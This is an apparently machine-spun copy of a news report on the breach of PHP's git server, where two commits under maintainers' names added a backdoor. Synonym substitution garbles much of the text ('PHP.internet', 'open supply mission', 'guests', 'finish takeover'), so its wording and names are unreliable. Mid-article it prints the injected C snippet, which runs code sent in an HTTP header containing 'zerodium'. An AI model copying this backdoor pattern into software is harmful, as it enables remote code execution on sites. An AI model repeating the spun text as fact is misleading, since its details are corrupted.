Hackers backdoor PHP source code after breaching internal git server

A hacker compromised the server used to distribute the PHP programming language and added a backdoor to supply code that may have made web sites susceptible to finish takeover, members of the open supply mission mentioned.

Two updates pushed to the PHP Git server over the weekend added a line that, if run by a PHP-powered web site, would have allowed guests with no authorization to execute code of their alternative. The malicious commits here and here gave the code the code-injection functionality to guests who had the phrase “zerodium” in an HTTP header.

PHP.internet hacked, code backdoored

The commits have been made to the php-src repo beneath the account names of two well-known PHP builders, Rasmus Lerdorf and Nikita Popov. “We do not but understand how precisely this occurred, however the whole lot factors towards a compromise of the git.php.internet server (slightly than a compromise of a person git account),” Popov wrote in a notice revealed on Sunday evening.

Within the aftermath of the compromise, Popov mentioned that PHP maintainers have concluded that their standalone Git infrastructure is an pointless safety danger. Because of this, they may discontinue the git.php.internet server and make GitHub the official supply for PHP repositories. Going ahead, all PHP supply code modifications will probably be made on to GitHub slightly than to git.php.internet.

The malicious modifications got here to public consideration no later than Sunday evening by builders together with Markus Staab, Jake Birchallf, and Michael Voříšek as they scrutinized a commit made on Saturday. The replace, which purported to repair a typo, was made beneath an account that used Lerdorf’s title. Shortly after the primary discovery, Voříšek noticed the second malicious commit, which was made beneath Popov’s account title. It presupposed to revert the earlier typo repair.

Each commits added the identical strains of code:

onvert_to_string(enc);
	if (strstr(Z_STRVAL_P(enc), "zerodium")) {
		zend_try {
			zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: offered to zerodium, mid 2017");

Zerodium is a dealer that buys exploits from researchers and sells them to authorities companies to be used in investigations or different functions. Why the commits referenced Zerodium is just not clear. The corporate’s CEO, Chaouki Bekrar, said on Twitter Monday that Zerodium wasn’t concerned.

“Cheers to the troll who put ‘Zerodium’ in immediately’s PHP git compromised commits,” he wrote. “Clearly, now we have nothing to do with this. Seemingly, the researcher(s) who discovered this bug/exploit tried to promote it to many entities however none needed to purchase this crap, in order that they burned it for enjoyable.

Unhealthy karma

Previous to the compromise, The PHP Group dealt with all write entry to the repository on their very own git server http://git.php.internet/ utilizing what Popov known as a “home-grown” system known as Karma. It supplied builders completely different ranges of entry privileges relying on earlier contributions. GitHub, in the meantime, had been a mirror repository.

Now, the PHP Group is abandoning the self-hosted and managed git infrastructure and changing it with GitHub. The change signifies that GitHub is now the “canonical” repository. The PHP Group will not use the Karma system. As a substitute, contributors must be a part of the PHP group on GitHub and should use two-factor authentication for accounts with the flexibility to make commits.

This weekend’s occasion isn’t the primary time php.internet servers have been breached with the intent of performing a provide chain assault. In early 2019, the extensively used PHP Extension and Utility Repository quickly shut down a lot of the web site after discovering that hackers replaced the main package manager with a malicious one. Group builders mentioned that anybody who had downloaded the bundle supervisor up to now six months ought to get a brand new copy.

PHP runs an estimated 80 percent of websites. There aren’t any studies of internet sites incorporating the malicious modifications into their manufacturing environments.

The modifications have been doubtless made by individuals who needed brag about their unauthorized entry to the PHP Git server slightly than these making an attempt to truly backdoor web sites that use PHP, mentioned HD Moore, co-founder and CEO of community discovery platform Rumble.

“Sounds just like the attackers are trolling Zerodium or making an attempt to provide the impression that the code was backdoored for for much longer,” he advised Ars. “Both manner, I might be spending quite a lot of time going by means of earlier commits if I had any safety curiosity in PHP.”